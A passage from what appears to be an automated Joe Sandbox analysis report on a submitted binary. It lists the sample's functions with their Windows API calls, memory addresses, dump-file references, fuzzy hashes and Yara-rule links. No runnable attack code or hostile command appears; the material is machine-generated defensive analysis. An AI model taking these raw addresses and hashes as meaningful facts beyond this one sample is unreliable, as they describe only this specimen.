                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: CharLower
                                                                                          • String ID:
                                                                                          • API String ID: 1615517891-0
                                                                                          • Opcode ID: dd20185b596db2745f2b704bac9dd4eb7d3bfe8c6e03a6d263d02bee93d56928
                                                                                          • Instruction ID: f3574eb3d9009b883351c62f390b1b458f0f5c76b551c27569f8cb84250b8306
                                                                                          • Opcode Fuzzy Hash: dd20185b596db2745f2b704bac9dd4eb7d3bfe8c6e03a6d263d02bee93d56928
                                                                                          • Instruction Fuzzy Hash: 0E2157796043158BC710EF5D9C40077B3A0EF80765F86887BFC85A3380DA39EE169BA9
                                                                                          Function 00412840 Relevance: 6.1, APIs: 4, Instructions: 60COMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,-00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,0040D738,00000000), ref: 00412874
                                                                                          • malloc.MSVCRT ref: 00412884
                                                                                          • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,-00000001,00000000,00000000,00000000,00000000,00000000), ref: 004128A1
                                                                                          • malloc.MSVCRT ref: 004128B6
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: ByteCharMultiWidemalloc
                                                                                          • String ID:
                                                                                          • API String ID: 2735977093-0
                                                                                          • Opcode ID: 8be09bc5dba933f52a62dcd4c1466ac7b9e98312e52af60236e0b5bb7a24d736
                                                                                          • Instruction ID: e0c8a2120d9564889d2f3113141632f921e3b611a2b6a27c47ae7c2ad602c93a
                                                                                          • Opcode Fuzzy Hash: 8be09bc5dba933f52a62dcd4c1466ac7b9e98312e52af60236e0b5bb7a24d736
                                                                                          • Instruction Fuzzy Hash: 9E01453B34130127E3206699AC12FB73B59CB81B95F19017AFB009E2C0D6F3A80082B9
                                                                                          Function 004128E0 Relevance: 6.1, APIs: 4, Instructions: 60COMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00412911
                                                                                          • malloc.MSVCRT ref: 00412921
                                                                                          • WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000), ref: 0041293B
                                                                                          • malloc.MSVCRT ref: 00412950
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: ByteCharMultiWidemalloc
                                                                                          • String ID:
                                                                                          • API String ID: 2735977093-0
                                                                                          • Opcode ID: dc45e273b66a9daf34e262ac0fef012b7e67277b67b23735523b4b314dffbbe5
                                                                                          • Instruction ID: 3026177615c0ccb99804f522c9f73c57bab6efbcd972e36018b7209c0027a648
                                                                                          • Opcode Fuzzy Hash: dc45e273b66a9daf34e262ac0fef012b7e67277b67b23735523b4b314dffbbe5
                                                                                          • Instruction Fuzzy Hash: AB01F57734534127E3205699AD42FA77B59CB81BA5F19007AFB01AE2C0DAF7681086B8
                                                                                          Function 0040AFEC Relevance: 6.0, APIs: 4, Instructions: 43COMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • SHGetFolderLocation.SHELL32(00000000,00989768,00000000,00000000,00000000,00000000,00000000,?,00000104,0040AF9B,00000000,00000000,00000104,?), ref: 0040AFFE
                                                                                          • SHGetPathFromIDListW.SHELL32(00000000,?), ref: 0040B00F
                                                                                          • wcslen.MSVCRT ref: 0040B01A
                                                                                          • CoTaskMemFree.OLE32(00000000,?,00000104,0040AF9B,00000000,00000000,00000104,?,?,?,?,00000009,0040373D,00000001,00000000,00000000), ref: 0040B038
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: FolderFreeFromListLocationPathTaskwcslen
                                                                                          • String ID:
                                                                                          • API String ID: 4012708801-0
                                                                                          • Opcode ID: 6faf2d54f5b57ee11cbd029bcc5efc3640db8cf73aecbbbd6fb1dba8edde6915
                                                                                          • Instruction ID: ea6acf64d2064cc2033e367344890d06019be10827a432285197bb32926cdf71
                                                                                          • Opcode Fuzzy Hash: 6faf2d54f5b57ee11cbd029bcc5efc3640db8cf73aecbbbd6fb1dba8edde6915
                                                                                          • Instruction Fuzzy Hash: BBF08136500615BAC7205F6ADC0DDAB7B7CEF15BA07404226F805E6260E7319910D7E8
                                                                                          Function 00405430 Relevance: 6.0, APIs: 4, Instructions: 34threadCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                            • Part of subcall function 004053E4: EnterCriticalSection.KERNEL32(00418708,?,?,-0000012C,004053CA,00000000,00401FD6,00000000,-0000012C,00402366,00000000,?,00000000,00000001,00000000,00000000), ref: 004053EF
                                                                                            • Part of subcall function 004053E4: LeaveCriticalSection.KERNEL32(00418708,?,?,-0000012C,004053CA,00000000,00401FD6,00000000,-0000012C,00402366,00000000,?,00000000,00000001,00000000,00000000), ref: 00405422
                                                                                          • TerminateThread.KERNEL32(00000000,00000000,00000000,?,?,-0000012C,00401FE5,00000000,-0000012C,00402366,00000000,?,00000000,00000001,00000000,00000000), ref: 00405440
                                                                                          • EnterCriticalSection.KERNEL32(00418708,?,?,-0000012C,00401FE5,00000000,-0000012C,00402366,00000000,?,00000000,00000001,00000000,00000000,00000000,00000002), ref: 0040544C
                                                                                          • CloseHandle.KERNEL32(-00000008,?,?,-0000012C,00401FE5,00000000,-0000012C,00402366,00000000,?,00000000,00000001,00000000,00000000,00000000,00000002), ref: 0040546C
                                                                                            • Part of subcall function 0040E1B2: HeapFree.KERNEL32(00000000,-00000008,0040DACB,00000010,00000800,?,00000000,?,?,00000000,00403350,00000000,00000000,00000000,00000000,?), ref: 0040E1EB
                                                                                          • LeaveCriticalSection.KERNEL32(00418708,?,?,-0000012C,00401FE5,00000000,-0000012C,00402366,00000000,?,00000000,00000001,00000000,00000000,00000000,00000002), ref: 00405480
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: CriticalSection$EnterLeave$CloseFreeHandleHeapTerminateThread
                                                                                          • String ID:
                                                                                          • API String ID: 85618057-0
                                                                                          • Opcode ID: be79b443d5972bd681091ed05d4b22618ed934695998c5f90ab991cc6a18f9e1
                                                                                          • Instruction ID: 2660d4446155f5fb089545407d2c8513ff3ad75f9eb032afb91e50ebd33cab77
                                                                                          • Opcode Fuzzy Hash: be79b443d5972bd681091ed05d4b22618ed934695998c5f90ab991cc6a18f9e1
                                                                                          • Instruction Fuzzy Hash: 05F0E233404610FBC6205B619C49EE77779EF55767724883FF94172291CB386841CE6D
                                                                                          Function 004099C7 Relevance: 6.0, APIs: 4, Instructions: 26COMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002,00000000,?,?,00409BAF,?), ref: 004099D6
                                                                                          • GetCurrentProcess.KERNEL32(?,00000000,?,?,00409BAF,?), ref: 004099E2
                                                                                          • DuplicateHandle.KERNEL32(00000000,?,?,00409BAF,?), ref: 004099E9
                                                                                          • CloseHandle.KERNEL32(?,?,?,00409BAF,?), ref: 004099F5
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: CurrentHandleProcess$CloseDuplicate
                                                                                          • String ID:
                                                                                          • API String ID: 1410216518-0
                                                                                          • Opcode ID: 4852cd940a62ffebd97bec63e7d75145fa92973f44f615ba9ebe136649e88543
                                                                                          • Instruction ID: ce6dac3176af70590056e0be6dcfbc27d6d18e8bdc9d520293d6dd9450c8e6f1
                                                                                          • Opcode Fuzzy Hash: 4852cd940a62ffebd97bec63e7d75145fa92973f44f615ba9ebe136649e88543
                                                                                          • Instruction Fuzzy Hash: 73E0ED75608209BFEB10DF91DC49F9ABB7DEB44741F104065F905D2660EB71AD11CB64
                                                                                          Function 00402FAD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 193COMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                            • Part of subcall function 0040E660: TlsGetValue.KERNEL32(0000000D,?,00402EF9,00000000,00000000,00000000,00000000,?,0040118D,00000000,00000000,00000000,00000001,00000004,00000000,00417064), ref: 0040E677
                                                                                            • Part of subcall function 0040E520: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040E526
                                                                                            • Part of subcall function 0040E520: TlsGetValue.KERNEL32(0000000D), ref: 0040E535
                                                                                            • Part of subcall function 0040E520: SetLastError.KERNEL32(?), ref: 0040E54B
                                                                                            • Part of subcall function 00405182: TlsGetValue.KERNEL32(00000000,00402F8A,00000000,00000008,00000001,00000000,00000000,00000000,00000000,00000000,?,00000200,00000000,00000000,00000000,00000000), ref: 00405189
                                                                                            • Part of subcall function 00405EB0: CharUpperW.USER32(00000000,00000000,FFFFFFF5,00001000,00001000,?,?,00001000,00402F92,00000000,00000008,00000001,00000000,00000000,00000000,00000000), ref: 00405F01
                                                                                            • Part of subcall function 0040E560: TlsGetValue.KERNEL32(0000000D,00000000,00000000), ref: 0040E56C
                                                                                            • Part of subcall function 0040E560: RtlAllocateHeap.NTDLL(00980000,00000000,?), ref: 0040E599
                                                                                            • Part of subcall function 0040E560: RtlReAllocateHeap.NTDLL(00980000,00000000,?,?), ref: 0040E5BC
                                                                                            • Part of subcall function 00402E49: FindResourceW.KERNEL32(00000000,0000000A,00000000,00000000,00000000,00000000,00000000,00000000,004044FA,00000000,00000000,00000000,00000001,00000000,00000000,00000000), ref: 00402E71
                                                                                            • Part of subcall function 00402E49: __fprintf_l.LIBCMT ref: 00402ECB
                                                                                            • Part of subcall function 00409355: CoInitialize.OLE32(00000000), ref: 00409373
                                                                                            • Part of subcall function 00409355: memset.MSVCRT ref: 00409381
                                                                                            • Part of subcall function 00409355: LoadLibraryW.KERNEL32(SHELL32.DLL,?,?,0000000A), ref: 0040938E
                                                                                            • Part of subcall function 00409355: GetProcAddress.KERNEL32(00000000,SHBrowseForFolderW), ref: 004093B0
                                                                                            • Part of subcall function 00409355: GetProcAddress.KERNEL32(00000000,SHGetPathFromIDListW), ref: 004093BC
                                                                                            • Part of subcall function 00409355: wcsncpy.MSVCRT ref: 004093DD
                                                                                            • Part of subcall function 00409355: wcslen.MSVCRT ref: 004093F1
                                                                                            • Part of subcall function 00409355: CoTaskMemFree.OLE32(?), ref: 0040947A
                                                                                            • Part of subcall function 00409355: wcslen.MSVCRT ref: 00409481
                                                                                            • Part of subcall function 00409355: FreeLibrary.KERNEL32(00000000,00000000), ref: 004094A0
                                                                                            • Part of subcall function 00403E37: FindResourceW.KERNEL32(00000000,0000000A,00000000,00000000,00000000,00000000,00000000,-00000004,00403A0D,00000000,00000001,00000000,00000000,00000001,00000003,00000000), ref: 00403E67
                                                                                          • PathAddBackslashW.SHLWAPI(00000000,00000200,FFFFFFF5,00000000,00000000,00000000,00000200,00000000,00000000,FFFFFFF5,00000003,00000000,00000000,00000000,00000000,00000000), ref: 00403178
                                                                                            • Part of subcall function 0040E6C0: wcslen.MSVCRT ref: 0040E6D7
                                                                                          • PathRemoveBackslashW.SHLWAPI(00000000,00000000,00000000,00987F80,00000000,00000000,00000200,00000000,00000000,00000200,FFFFFFF5,00000000,00000000,00000000,00000200,00000000), ref: 004031DD
                                                                                            • Part of subcall function 00402C55: FindResourceW.KERNEL32(?,0000000A,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00402CF0
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: Value$FindResourcewcslen$AddressAllocateBackslashErrorFreeHeapLastLibraryPathProc$CharInitializeLoadRemoveTaskUpper__fprintf_lmemsetwcsncpy
                                                                                          • String ID: $pA
                                                                                          • API String ID: 790731606-4007739358
                                                                                          • Opcode ID: 02d24acb7b8711565022e352de9b6058ba283387d51b5c6ca33e1a4a7ccffd60
                                                                                          • Instruction ID: e60bee266b2990c05e42038f4eaf1cd2a2725b994cf9f5ea8c77fc408b4d2e90
                                                                                          • Opcode Fuzzy Hash: 02d24acb7b8711565022e352de9b6058ba283387d51b5c6ca33e1a4a7ccffd60
                                                                                          • Instruction Fuzzy Hash: 6851E6B9601204BEE500BBB39D82D7F266DDBC471CB108C3FB440A50D3E93CAE65662E
                                                                                          Function 0040249D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148COMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • GetCommandLineW.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 0040254F
                                                                                          • PathRemoveArgsW.SHLWAPI(?), ref: 00402585
                                                                                            • Part of subcall function 00405182: TlsGetValue.KERNEL32(00000000,00402F8A,00000000,00000008,00000001,00000000,00000000,00000000,00000000,00000000,?,00000200,00000000,00000000,00000000,00000000), ref: 00405189
                                                                                            • Part of subcall function 0040E560: TlsGetValue.KERNEL32(0000000D,00000000,00000000), ref: 0040E56C
                                                                                            • Part of subcall function 0040E560: RtlAllocateHeap.NTDLL(00980000,00000000,?), ref: 0040E599
                                                                                            • Part of subcall function 004099A5: SetEnvironmentVariableW.KERNELBASE(00989768,00989768,00404594,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004099BE
                                                                                            • Part of subcall function 0040E520: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040E526
                                                                                            • Part of subcall function 0040E520: TlsGetValue.KERNEL32(0000000D), ref: 0040E535
                                                                                            • Part of subcall function 0040E520: SetLastError.KERNEL32(?), ref: 0040E54B
                                                                                            • Part of subcall function 0040E6C0: wcslen.MSVCRT ref: 0040E6D7
                                                                                            • Part of subcall function 00405170: TlsGetValue.KERNEL32(?,?,00402F99,00000000,00000008,00000001,00000000,00000000,00000000,00000000,00000000,?,00000200,00000000,00000000,00000000), ref: 00405178
                                                                                            • Part of subcall function 0040E5F0: HeapFree.KERNEL32(00980000,00000000,00000000,?,00000000,?,00412484,00000000,00000000,-00000008), ref: 0040E608
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: Value$ErrorHeapLast$AllocateArgsCommandEnvironmentFreeLinePathRemoveVariablewcslen
                                                                                          • String ID: *pA
                                                                                          • API String ID: 1199808876-3833533140
                                                                                          • Opcode ID: ff22d50e32c7b344f81147fcd13b47847f2418c60676d86c95cb8761d58184ec
                                                                                          • Instruction ID: beb9823a99ae011e4ed5f1d055ef6d1d692690281f772a57edd19b399da9bd76
                                                                                          • Opcode Fuzzy Hash: ff22d50e32c7b344f81147fcd13b47847f2418c60676d86c95cb8761d58184ec
                                                                                          • Instruction Fuzzy Hash: E541E9B5504301BED600BBB39D8293F76A8EBC471CF508C3FB444A61D2EA3CD9655A2E
                                                                                          Function 0040973A Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 115COMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                            • Part of subcall function 0040D968: TlsGetValue.KERNEL32(?,00409869,00401DBC,FFFFFFF5,00000200,0000000A,00000000,00000000,FFFFFFF5,00000015,00000001,00000000,00000000,00000000,00000000,00000200), ref: 0040D96F
                                                                                            • Part of subcall function 0040D968: HeapAlloc.KERNEL32(00000008,?,?,00409869,00401DBC,FFFFFFF5,00000200,0000000A,00000000,00000000,FFFFFFF5,00000015,00000001,00000000,00000000,00000000), ref: 0040D98A
                                                                                            • Part of subcall function 0040D968: TlsSetValue.KERNEL32(00000000,?,?,00409869,00401DBC,FFFFFFF5,00000200,0000000A,00000000,00000000,FFFFFFF5,00000015,00000001,00000000,00000000,00000000), ref: 0040D999
                                                                                          • GetCommandLineW.KERNEL32(?,?,?,00000000,?,?,00409870,00000000,00401DBC,FFFFFFF5,00000200,0000000A,00000000,00000000,FFFFFFF5,00000015), ref: 00409754
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: Value$AllocCommandHeapLine
                                                                                          • String ID: $"
                                                                                          • API String ID: 1339485270-3817095088
                                                                                          • Opcode ID: 9f13aeb594c8651f773918aba712108c6ee6300c7051426f9c00fbcbc60952a7
                                                                                          • Instruction ID: 229198f1d41a65a6e9ffff917a794aecd7294c87f6384db1244c7b0cd665179e
                                                                                          • Opcode Fuzzy Hash: 9f13aeb594c8651f773918aba712108c6ee6300c7051426f9c00fbcbc60952a7
                                                                                          • Instruction Fuzzy Hash: 3131A6735252218ADB64AF10981127772A1EFA2B60F18C17FE4926B3C2F37D4D41D369
                                                                                          Function 0040A638 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61COMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: _wcsicmpwcscmp
                                                                                          • String ID: $0A
                                                                                          • API String ID: 3419221977-513306843
                                                                                          • Opcode ID: e4c63d424049f42e7b73257686f90aee44a2e069d1a72a0e60c522d0a3ac157e
                                                                                          • Instruction ID: a9c09230f7291aa91694be4cadd9aa4df44d847ede942287367b49c05577748a
                                                                                          • Opcode Fuzzy Hash: e4c63d424049f42e7b73257686f90aee44a2e069d1a72a0e60c522d0a3ac157e
                                                                                          • Instruction Fuzzy Hash: 39118F76508B018BD3209F56D440913B3F9EF94364329893FD88963790DB76EC658BAA
                                                                                          Function 00405700 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,?,?,?,00401218), ref: 00405722
                                                                                          • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,?,?,?,00401218), ref: 00405746
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: ByteCharMultiWide
                                                                                          • String ID: $0A
                                                                                          • API String ID: 626452242-513306843
                                                                                          • Opcode ID: 73ef42fd297e56149542e4ba10b5f7343afa2e9a126b30dcd6987e1077dc572a
                                                                                          • Instruction ID: 6633c5b8762e659e7e7445bcc2ebba2587ddb8769fcb30c67f307584ac15d0df
                                                                                          • Opcode Fuzzy Hash: 73ef42fd297e56149542e4ba10b5f7343afa2e9a126b30dcd6987e1077dc572a
                                                                                          • Instruction Fuzzy Hash: D4F0653A38632137E230215A6C06F57295DC785F71F3542367B247F3D0C5B1680046BD
                                                                                          Function 0040DBFF Relevance: 5.1, APIs: 4, Instructions: 134memoryCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • EnterCriticalSection.KERNEL32(?,?,?,00000000,0040A724,00000000,00000001,?,?,?,00000000,0040A54C,?,?,00000000,?), ref: 0040DC13
                                                                                          • HeapAlloc.KERNEL32(00000000,-00000018,00000001,?,?,00000000,0040A724,00000000,00000001,?,?,?,00000000,0040A54C,?,?), ref: 0040DCC8
                                                                                          • HeapAlloc.KERNEL32(00000000,-00000018,?,?,00000000,0040A724,00000000,00000001,?,?,?,00000000,0040A54C,?,?,00000000), ref: 0040DCEB
                                                                                          • LeaveCriticalSection.KERNEL32(?,?,00000000,0040A724,00000000,00000001,?,?,?,00000000,0040A54C,?,?,00000000,?,?), ref: 0040DD43
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: AllocCriticalHeapSection$EnterLeave
                                                                                          • String ID:
                                                                                          • API String ID: 830345296-0
                                                                                          • Opcode ID: 324d660e7cdc21042891890593d34f1f0348325fed707f3f607e68598850c6a9
                                                                                          • Instruction ID: 326a62a2d88e17b700e0b5dbbe6d23d3e5727d380a42910b8190cd6cec96877c
                                                                                          • Opcode Fuzzy Hash: 324d660e7cdc21042891890593d34f1f0348325fed707f3f607e68598850c6a9
                                                                                          • Instruction Fuzzy Hash: D151E570A04B069FD324CF69D980962B7F4FF587103148A3EE49A97A50D338F959CB94
                                                                                          Function 0040E7D0 Relevance: 5.1, APIs: 4, Instructions: 62memoryCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • wcslen.MSVCRT ref: 0040E7E5
                                                                                          • HeapAlloc.KERNEL32(00980000,00000000,0000000A), ref: 0040E809
                                                                                          • HeapReAlloc.KERNEL32(00980000,00000000,00000000,0000000A), ref: 0040E82D
                                                                                          • HeapFree.KERNEL32(00980000,00000000,00000000,?,?,0040506F,?,0041702E,00401095,00000000), ref: 0040E864
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: Heap$Alloc$Freewcslen
                                                                                          • String ID:
                                                                                          • API String ID: 2479713791-0
                                                                                          • Opcode ID: 2b6b1bd9f026436857951278c42bc1b07c0eea740553c1e91eb77f15f4e50f5e
                                                                                          • Instruction ID: 61d70e0538fde6a9b2f408d2d23f17b2afdd03d3414029a6c312abdd158bf447
                                                                                          • Opcode Fuzzy Hash: 2b6b1bd9f026436857951278c42bc1b07c0eea740553c1e91eb77f15f4e50f5e
